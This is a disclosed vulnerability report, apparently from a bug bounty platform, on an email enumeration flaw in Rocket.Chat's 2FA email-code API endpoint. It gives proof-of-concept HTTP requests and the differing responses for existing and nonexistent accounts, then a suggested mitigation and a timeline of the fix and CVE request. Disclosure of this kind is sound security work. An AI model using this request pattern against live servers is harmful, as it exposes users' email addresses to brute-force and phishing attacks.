

10

Hi! Security Team Rocket.Chat, It's possible to get information about the users emails without authentication

Share:     

TIMELINE



khkekhe submitted a report to Rocket.Chat.

Jan 27th (2 years ago)

Description:

Email enumeration vulnerability.

Vulnerable api method: `/api/v1/users.2fa.sendEmailCode`

Releases Affected::

- Rocket.Chat up to 3.10.5

Request for existing account:

Code 238 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
2 Host: rocket-chat.local:3000
3 Referer: http://rocket-chat.local:3000/home
4 Connection: close
5 Content-Length: 36
6 Content-Type: application/json;charset=UTF-8
7
8 {"emailOrUsername":"test@test.test"}
```

Response

Code 215 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 HTTP/1.1 200 OK
2 X-XSS-Protection: 1
3 X-Content-Type-Options: nosniff
4 X-RateLimit-Limit: 10
5 X-RateLimit-Remaining: 7
6 X-RateLimit-Reset: 1611804788737
7 content-type: application/json
8 Content-Length: 16
9
10 {"success":true}
```

Request for non-existent account:

Code 426 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
2 Host: rocket-chat.local:3000
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
4 Accept: */*
5 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Referer: http://rocket-chat.local:3000/home
8 Connection: close
9 Content-Length: 37
10 Content-Type: application/json;charset=UTF-8
11
12 {"emailOrUsername":"test2@test.test"}
```

Response

Code 316 Bytes

[Wrap lines](#) [Copy](#) [Download](#)


```
1 HTTP/1.1 400 Bad Request
2 X-XSS-Protection: 1
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: sameorigin
5 Pragma: no-cache
6 X-RateLimit-Limit: 10
7 X-RateLimit-Remaining: 9
8 X-RateLimit-Reset: 1611805550459
9 Content-Length: 94
10
11 {"success":false,"error":"Invalid user [error-invalid-user]","errorType":"error-invalid-user"}
```

Suggested mitigation

- Use general messages when a user exists in the system and when user doesn't exist in the system.

Impact

Information disclosure which opens new attack vectors - helpful for injections/brute-force attacks/social-engineering etc.




markus-rocketchat changed the status to 🔴 **Triaged**.
Hi [@khekhe](#)

Feb 27th (2 years ago)

just saw this hasnt been triaged yet. will do it now. we are working on a fix.

best
Markus




markus-rocketchat closed the report and changed the status to 🟢 **Resolved**.
Hi [@khekhe](#)

Mar 26th (2 years ago)

thanks again for your report. A release with a fix will be out later today. :)


Best
Markus



khekhe posted a comment.
Hi [@markus-rocketchat](#)

Mar 27th (2 years ago)

Thank you for responding! Can you request a CVE for the issue?




markus-rocketchat posted a comment.
Hi [@khekhe](#)

Mar 28th (2 years ago)


I requested a CVE. It will get published once this report here is published after the disclosure period. If you want to start this process, please request to disclose this report. Thank you.

Best
Markus



🗨️ khekhe requested to disclose this report.

Mar 30th (2 years ago)



🗨️ This report has been disclosed.

Apr 29th (2 years ago)